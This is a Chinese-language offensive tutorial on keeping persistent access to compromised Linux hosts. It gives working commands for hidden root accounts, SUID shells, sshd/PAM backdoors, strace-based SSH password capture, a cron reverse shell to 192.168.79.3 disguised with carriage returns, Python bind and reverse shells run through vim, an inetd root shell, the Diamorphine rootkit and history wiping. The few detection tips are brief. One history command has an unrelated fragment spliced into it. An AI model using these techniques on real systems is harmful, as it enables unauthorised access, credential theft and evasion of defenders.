Linux权限维持

 

修改文件/终端属性

文件创建时间

如果蓝队根据文件修改时间来判断文件是否为后门,如参考index.php的时间再来看shell.php的时间就可以判断shell.php的生成时间有问题

touch -r index.php shell.php

touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。

文件锁定

在Linux中,使用chattr命令来防止root其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

chattr +i evil.php #锁定文件 
rm -rf evil.php #提示禁止删除
lsattr evil.php #属性查看
chattr -i evil.php #解除锁定 
rm -rf evil.php #彻底删除文件

passwd增加用户

/etc/passwd 各部分含义:
用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL

/etc/shadow 各部分含义:
用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用

一些系统中,存放着加密后的用户口令字。虽然这个字段存放的只是用户口令的加密串,不是明文,但是由于/etc/passwd文件对所有用户都可读,所以这仍是一个安全隐患。因此,现在许多Linux系统(如SVR4)都使用了shadow技术,把真正的加密后的用户口令字存放到/etc/shadow文件中,而在/etc/passwd文件的口令字段中只存放一个特殊的字符,例如“x”或者“*”。

可以交互且允许uid=0的用户远程登录

kali

perl -le 'print crypt("passwd","salt")'
#生成密码为passwd
#结果:sadtCr0CILzv2   

被控端,添加超级用户

echo "m123:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd

或者

echo "cshm:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
passwd cshm #修改cshm的密码

可以交互且不允许uid=0的用户远程登录

如果系统不允许 uid=0 的用户远程登录(因为root的uid=0),可以增加一个普通用户账号

echo "momaek:sadtCr0CILzv2:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

不交互无回显添加Linux密码

第一种:

useradd wxg -u 0 -o -g root -G root|| echo "123456" | passwd --stdin wxg #创建账户wxg、密码123456且为root权限useradd wxg -u 0 -o -g root -G root|| echo "123456" | passwd --stdin wxg #创建账户wxg、密码123456且为root权限

得执行两次

第二种:

useradd  test echo "123456" | passwd --stdin test

权限很小

第三种:

useradd -u 0 -o -g root -G root user |echo -e "1qazwsx2wsx\n1qazwsx2wsx"|passwd user

也是得执行两次,并且对密码强度有要求

suid后门

当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的。

必要条件:

  1. SUID权限仅对二进制程序有效。

  2. 执行者对于该程序需要具有x的可执行权限

  3. 本权限仅在执行该程序的过程中有效

  4. 在执行过程中执行者将具有该程序拥有者的权限

创建suid权限的文件:

cp /bin/bash /tmp/.woot
chmod 4755 /tmp/.woot # 4是以root身份执行
ls -al /tmp/.woot
# -rwsr-xr-x 1 root root 690668 Jul 24 17:14 .woot

以root身份执行命令

/tmp/.woot
/tmp/.woot -p //bash2 针对 suid 有一些护卫的措施,使用-p参数来获取一个root shell

image-20220830171935523

检测:查找具有suid权限的文件即可

find / -perm +4000 -ls 
find / -perm -u=s -type f 2>/dev/null

SSH后门

ssh软连接后门

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 supam_rootok只检测uid 0即可认证成功,这样就导致了可以使用任意密码登录:

指定端口12345

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

image-20220830174136134

优点:能够绕过一些网络设备的安全流量监测,但是本地在查看监听端口时会暴露端口,建议设置成8081,8080等端口。

参考文章:Linux软连接ssh后门之我见

注意:这个如果目标在执行软连接的时候,如果使用了其他账号创建,则登录的时候需要使用对应的账号,而非root

上面提到要更改软连接su名字,需要用以下命令,xxxxxx为你需要更改的名字:

echo "
	#%PAM-1.0
    auth       sufficient   pam_rootok.so
    auth       include      system-auth
    account    include      system-auth
    password   include      system-auth
    session    include      system-auth " >> /etc/pam.d/xxxxxx

之后再开启端口监听,用于登录

ln -sf /usr/sbin/sshd /tmp/xxxxxx;/tmp/xxxxxx -oPort=12345

当然,也可以使用其他软连接名字,但是文件必须得在/etc/pam.d 目录下存在。在/etc/pam.d目录下执行:

find ./ |xargs grep "pam_rootok" 

出现如下内容,则说明以下的名字皆可以作为软连接名称

./config-util:auth sufficient pam_rootok.so
./chfn:auth sufficient pam_rootok.so
./chsh:auth sufficient pam_rootok.so
./runuser:auth sufficient pam_rootok.so
./su:auth sufficient pam_rootok.so
./xxxxxx:auth sufficient pam_rootok.so
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=23333
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oPort=23334
ln -sf /usr/sbin/sshd /tmp/runuser;/tmp/runuser -oPort=23335

SSH密钥登录

ssh-keygen -t rsa #生成公钥 
cat id_rsa.pub >> authorized_keys #将id_rsa.pub内容放到目标.ssh/authorized_keys里
cat id_rsa #把私钥内容粘贴

这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,如struts写入公钥oracle写入公钥连接Redis未授权访问等情景。

chmod 600 id_rsa 
ssh -i id_rsa root@192.168.0.113

SSH Keylogger记录密码

当前系统如果存在strace的话,它可以跟踪任何进程的系统调用和数据,可以利用 strace 系统调试工具获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。

root@web2-virtual-machine:~# strace
strace: must have PROG [ARGS] or -p PID
Try 'strace -h' for more information.

记录sshd进程明文密码

执行如下命令

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

当用户通过密码登录时,使用如下命令查看记录的密码

grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

记录sshd私钥

root@web2-virtual-machine:~# alias
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias l='ls -CF'
alias la='ls -A'
alias ll='ls -alF'
alias ls='ls --color=auto'
alias ssh='strace -o /tmp/.sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'

如果设置完后,倘若当前系统不存在alias,那么就会影响其正常使用:

image-20220830190423013

cd ~ 
ls -alh

image-20220830185658867

在当前用户的 .bashrc 里新建一条 alias ,这样可以抓取他登陆其他机器的 ssh 密码

vi ~/.bashrc
#插入内容 
alias ssh='strace-o/tmp/.sshpwd-`date'+%d%h%m%s'`.log-eread,write,connect-s2048ssh'
source ~/.bashrc

image-20220830190106623

当有用户登录之后,会在/tmp生成一个log

过滤出日志中的密码

ls -al /tmp
grep -A 9 'password' .ssh-2210月101634901802.log

cron计划任务后门(Ubuntu)

首先,说明一下,cronubuntu下默认启动的用户执行计划。它会按照设置,在固定的周期或者按照一定时间执行某一个任务。它是一项服务,你可以使用基本的服务查看状态命令等查看信息。

service cron status

查看普通用户的执行计划。(如果你显示没有计划不要着急,后面加上cron.allowcron.deny)就有了

crontab -e 编辑任务
crontab -l 列出任务

image-20220831152929300

把反弹shell放到计划任务里面执行

root@web2-virtual-machine:/home/web2# (crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.79.3/2334 0>&1';\r%100c\n")|crontab -

image-20220831153428810

计划任务路径

cat /var/spool/cron/crontabs/root
#root是计划任务的文件 使用cat是看不到内容的, crontab -l 也看不到, 因为是用了某些特殊字符(\r\n) 导致某些内容被隐藏 可以使用 crontab -e 编辑任务可以看到反弹shell的内容

vim python 扩展后门

适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。

可通过“vim –version”查看是否已支持python扩展。

image-20220831172028312

vim -E -c “pyfile test.py”其中 -E是启动一个改进的Ex模式(也就是命令模式),-c是去加载一个文件,并去执行。

python2

cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

python3

(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

恶意脚本 dir.py 的内容可以是任何功能的后门,比如监听本地的11端口

正向后门(推荐):

#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html 
from socket import *
import subprocess
import os, threading, sys, time

if __name__ == "__main__":
    server=socket(AF_INET,SOCK_STREAM)
    server.bind(('0.0.0.0',11))
    server.listen(5) 
    print ('waiting for connect')
    talk, addr = server.accept()
    print ('connect from',addr)
    proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)
nc -vv 192.168.220.152 11

反向后门:

import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.220.128", 6666))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
nc -lvvp 6666

隐藏后门

(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)
#将nohup的执行结果输出到/dev/null中
#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
#“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误 输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结 果是否正确,都不会有输出

netstat -anpt 查看到的可疑连接隐藏起来

解决方法:

既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上

(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
netstat -anpt

image-20220831172347608

隐藏进程

mkdir null 
mount --bind null /proc/2599
netstat -anpt
#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。

image-20220831172443821

显示隐藏的进程

cat /proc/$$/mountinfo # 显示挂载信息
umount /proc/2599 # 取消挂载
netstat -anpt
ps aux | grep 2599

image-20220831173123485

inetd服务后门

inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。

root@web2-virtual-machine:/home/web2# inetd

Command 'inetd' not found, but can be installed with:

apt install openbsd-inetd
root@web2-virtual-machine:/home/web2# apt-get install openbsd-inetd
#修改默认端口
vim /etc/services
rsyncy          874/tcp    #evil backdoor service(别把注释加进去了)

image-20220831175329565

# 然后修改配置文件
vim /etc/inetd.conf
rsyncy stream tcp nowait root /bin/bash bash -i  # 插入
#我们可以修改成一些常见的端口,以实现隐藏。 其实 解密/etc/shadow文件,爆破root的密码才最保险啊

开启正向连接

#开启inetd 
inetd

控制端

#nc连接 
nc -vv 192.168.220.152 874

image-20220831175850856

检测:查看配置文件即可

cat /etc/inetd.conf

协议后门

在一些访问控制做的比较严格的环境中,由内到外的TCP流量会被阻断掉。但是对于UDP(DNS、ICMP)相关流量通常不会拦截。

ICMP

主要原理就是利用ICMP中可控的data字段进行数据传输,具体原理请参考:https://zhuanlan.zhihu.com/p/41154036

开源工具:ICMP后门项目地址:https://github.com/andreafabrizi/prism

DNS

在大多数的网络里环境中IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。主要原理就是将后门载荷隐藏在拥有PTR记录A记录DNS域中(也可以利用AAAA记录和IPv6地址传输后门)

具体请参考通过DNS传输后门来绕过杀软

开源工具:DNS后门项目地址:https://github.com/DamonMohammadbagher/NativePayload_DNS

协议后门检测:对于DNS/ICMP这种协议后门,直接查看网络连接即可,因为在使用过程中会产生大量的网络连接

清除:kill进程、删除文件即可

PAM后门

PAM使用配置 /etc/pam.d/ 下的文件来管理认证方式,应用程序调用相应的配置文件,以加载动态库的形式调用 /lib/security下的模块。

PAM配置可分为四个参数: 模块类型控制标记模块路径模块参数,例如: session required pam_selinux.so open

上面提到的 sshd 软链接后门利用的 PAM 机制达到任意密码登录,还有一种方式是键盘记录。原理主要是通过 pam_unix_auth.c 打补丁的方式潜入到正常的 pam 模块中,以此来记录管理员的帐号密码

利用步骤:

复制patch到源代码目录 >>> 打patch >>> 编译 >>> 将生成的pam_uninx.so文件覆盖到/lib/secruity/pam_unix.so下 >>> 修改文件属性 >>> 建立密码保存文件,并设置好相关的权限 >>> 清理日志 >>> ok
#确保ssh开启pam支持 
vim /etc/ssh/sshd_config 
UsePAM yes # 配置
#自动化脚本
wget https://raw.githubusercontent.com/litsand/shell/master/pam.sh

当用户通过密码登录时,使用如下命令查看记录的密码

grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

检测:

#1、通过Strace跟踪ssh 
ps axu | grep sshd 
strace -o aa -ff -p PID 
grep open aa* | grep -v -e No -e null -e denied| grep WR
#2、检查pam_unix.so的修改时间 
stat /lib/security/pam_unix.so #32位 
stat /lib64/security/pam_unix.so #64位

清除:

yum reinstall pam

Rootkit

介绍

rootkit分为内核级和应用级两种:

  • 内核级:Diamorphine

  • 应用级:Mafix

Mafix 是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。应用级rookit,主要替换lspsnetstat命令来隐藏文件

检测:使用相关检测工具,比如:unhide

Diamorphine

Diamorphine是一个C语言写的,运行于linux系统的rootkit,支持linux 内核版本2.6.x/3.x/4.x

uname -r #查看内核版本

image-20220831184205628

安装Diamorphine

git clone https://github.com/m0nad/Diamorphine.git
cd Diamorphine
make
insmod diamorphine.ko # 安装模块,以root身份运行
su web1 # 切换到普通用户
id #此时权限为web2
uid=1000(web2) gid=1000(web2)=1000(web2),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
kill -64 0 # 获取root权限
id # 此时为root权限
uid=0(root) gid=0(root)=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(web2)

隐藏进程

ps
kill -31 2314 # 隐藏进程
ps
kill -31 2314 # 再执行一次就显示了

image-20220831190521338

同理netstat -anpt

隐藏模块

lsmod # 显示所有模块
kill -63 pid号      #隐藏模块
lsmod
#再次执行kill -63 pid号即可恢复显示模块
web2@web2-virtual-machine:~$ lsmod
Module                  Size  Used by
crct10dif_pclmul       16384  1
crc32_pclmul           16384  0
snd_ens1371            28672  4
snd_ac97_codec        135168  1 snd_ens1371
gameport               20480  1 snd_ens1371
ac97_bus               16384  1 snd_ac97_codec
vmw_vsock_vmci_transport    32768  2
vsock                  36864  3 vmw_vsock_vmci_transport
snd_pcm               102400  2 snd_ac97_codec,snd_ens1371
ghash_clmulni_intel    16384  0
aesni_intel           372736  0
snd_seq_midi           20480  0
snd_seq_midi_event     16384  1 snd_seq_midi
aes_x86_64             20480  1 aesni_intel
snd_rawmidi            36864  2 snd_seq_midi,snd_ens1371
vmw_balloon            24576  0
snd_seq                69632  2 snd_seq_midi,snd_seq_midi_event
crypto_simd            16384  1 aesni_intel
cryptd                 24576  3 crypto_simd,ghash_clmulni_intel,aesni_intel
glue_helper            16384  1 aesni_intel
intel_rapl_perf        16384  0
snd_seq_device         16384  3 snd_seq,snd_seq_midi,snd_rawmidi
snd_timer              36864  2 snd_seq,snd_pcm
joydev                 28672  0
input_leds             16384  0
serio_raw              20480  0
snd                    86016  15 snd_seq,snd_seq_device,snd_timer,snd_ac97_codec,snd_pcm,snd_rawmidi,snd_ens1371
soundcore              16384  1 snd
vmw_vmci               69632  2 vmw_balloon,vmw_vsock_vmci_transport
sch_fq_codel           20480  2
mac_hid                16384  0
vmwgfx                290816  14
ttm                   102400  1 vmwgfx
drm_kms_helper        180224  1 vmwgfx
drm                   479232  17 vmwgfx,drm_kms_helper,ttm
fb_sys_fops            16384  1 drm_kms_helper
syscopyarea            16384  1 drm_kms_helper
sysfillrect            16384  1 drm_kms_helper
sysimgblt              16384  1 drm_kms_helper
parport_pc             36864  0
ppdev                  24576  0
lp                     20480  0
parport                53248  3 parport_pc,lp,ppdev
ip_tables              32768  0
x_tables               40960  1 ip_tables
autofs4                45056  2
hid_generic            16384  0
usbhid                 53248  0
hid                   126976  2 usbhid,hid_generic
psmouse               151552  0
mptspi                 24576  1
mptscsih               36864  1 mptspi
ahci                   40960  0
libahci                32768  1 ahci
pcnet32                45056  0
mii                    16384  1 pcnet32
mptbase                94208  2 mptspi,mptscsih
scsi_transport_spi     32768  1 mptspi
i2c_piix4              28672  0
pata_acpi              16384  0
web2@web2-virtual-machine:~$ lsmod | grep diamorphine
web2@web2-virtual-machine:~$ id
uid=0(root) gid=0(root)=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(web2)
web2@web2-virtual-machine:~$ kill -63 0
web2@web2-virtual-machine:~$ lsmod | grep diamorphine
diamorphine            16384  0
web2@web2-virtual-machine:~$ kill -63 16384
web2@web2-virtual-machine:~$ lsmod | grep diamorphine

隐藏文件

lsdu都找不到

touch diamorphine_secret #只要是diamorphine_secret开头的文件名或者文件夹,就会隐藏

卸载diamorphine模块

需要root权限

rmmod diamorphine

痕迹清除

历史操作命令

在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?

技巧一:只针对你的工作关闭历史记录

[space]set(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &) +o history #备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。

要重新开启历史功能,执行下面的命令:

[Space]set -o history #将环境恢复原状

技巧二:从历史记录中删除指定的命令

假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:

history | grep "keyword"

输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:

history -d [num]

删除大规模历史操作记录,这里,我们只保留前150行:

sed -i '150,$d' ~/.bash_history